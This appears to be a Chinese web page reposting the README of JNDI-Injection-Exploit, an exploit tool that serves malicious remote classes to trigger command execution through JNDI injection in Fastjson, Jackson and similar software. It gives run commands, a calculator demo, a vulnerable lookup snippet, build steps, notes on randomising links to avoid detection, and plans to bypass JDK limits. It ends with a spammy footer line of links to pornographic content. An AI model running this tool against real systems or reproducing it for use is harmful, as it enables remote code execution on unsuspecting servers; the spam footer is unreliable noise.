<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          JNDI-Injection-ExploitJNDI 注入測試工具

          聯(lián)合創(chuàng)作 · 2023-10-01 16:30

          JNDI-Injection-Exploit —— JNDI 注入利用工具,生成 JNDI 鏈接并啟動后端相關(guān)服務(wù),可用于 Fastjson、Jackson 等相關(guān)漏洞的驗(yàn)證。

          使用

          可執(zhí)行程序?yàn)?jar 包,在命令行中運(yùn)行以下命令:

          $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

          其中:

          • -C - 遠(yuǎn)程 class 文件中要執(zhí)行的命令。

            (可選項 , 默認(rèn)命令是 mac 下打開計算器,即"open /Applications/Calculator.app")

          • -A - 服務(wù)器地址,可以是 IP 地址或者域名。

            (可選項 , 默認(rèn)地址是第一個網(wǎng)卡地址)

          注意:

          • 要確保 1099、13898180 端口可用,不被其他程序占用。

            或者你也可以在 run.ServerStart 類 26~28 行更改默認(rèn)端口。

          • 命令會被作為參數(shù)傳入 Runtime.getRuntime().exec()

            所以需要確保命令傳入 exec() 方法可執(zhí)行。

            bash等可在shell直接執(zhí)行的相關(guān)命令需要加雙引號,比如說 java -jar JNDI.jar -C "bash -c ..."

          示例

          本地演示:

          1. 啟動 JNDI-Injection-Exploit:

            $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

          我們需要把第一步中生成的 JNDI 鏈接注入到存在漏洞的應(yīng)用環(huán)境中,方便解釋用如下代碼模仿漏洞環(huán)境:

          public static void main(String[] args) throws Exception{
              InitialContext ctx = new InitialContext();
              ctx.lookup("rmi://127.0.0.1/fgf4fp");
          }

          當(dāng)上面代碼運(yùn)行后,應(yīng)用便會執(zhí)行相應(yīng)命令,這里是彈出計算器,沒截圖,可以自己測一下。

          截圖是工具的server端日志:

          安裝

          下面兩種方法都可以得到Jar包

          1.  Realease直接下載最新的Jar。

          2. 把源碼下載到本地然后自行編譯打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+環(huán)境下測試可以)

            $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
            $ cd JNDI-Injection-Exploit
            $ mvn clean package -DskipTests

          工具實(shí)現(xiàn)

          1. 首先生成的鏈接后面codebaseClass是6位隨機(jī)的,這個是因?yàn)椴幌M尮ぞ呱傻逆溄颖旧沓蔀橐环N特征被監(jiān)控或攔截。
          2. 服務(wù)器地址實(shí)際就是codebase地址,相比于marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,并自動啟動HTTP server返回相應(yīng)class,更自動化了。
          3. HTTP server基于jetty實(shí)現(xiàn)的,本質(zhì)上是一個能下載文件的servlet,比較有意思的是我提前編譯好class模板放到resource目錄,然后servlet會讀取class文件,使用ASM框架對讀取的字節(jié)碼進(jìn)行修改,然后插入我們想要執(zhí)行的命令,返回修改后的字節(jié)碼。

          待實(shí)現(xiàn)

          • (已完成EL表達(dá)式繞過部分)在更高版本的 JDK 環(huán)境中 trustURLCodebase 變量為 false,限制了遠(yuǎn)程類的加載,我會找時間把JNDI-Injection-Bypass這個項目的東西融入到本項目中,生成能繞過 JDK 限制 JNDI 鏈接。
          瀏覽 42
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          編輯 分享
          舉報
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          編輯 分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  日韩一区二区三区视频在线观看 | 精品久久久中文字幕 | 91成人做爰黄A片 | 五月丁香涩涩婷婷 | 免费电影、欧美色图、亚洲色图 |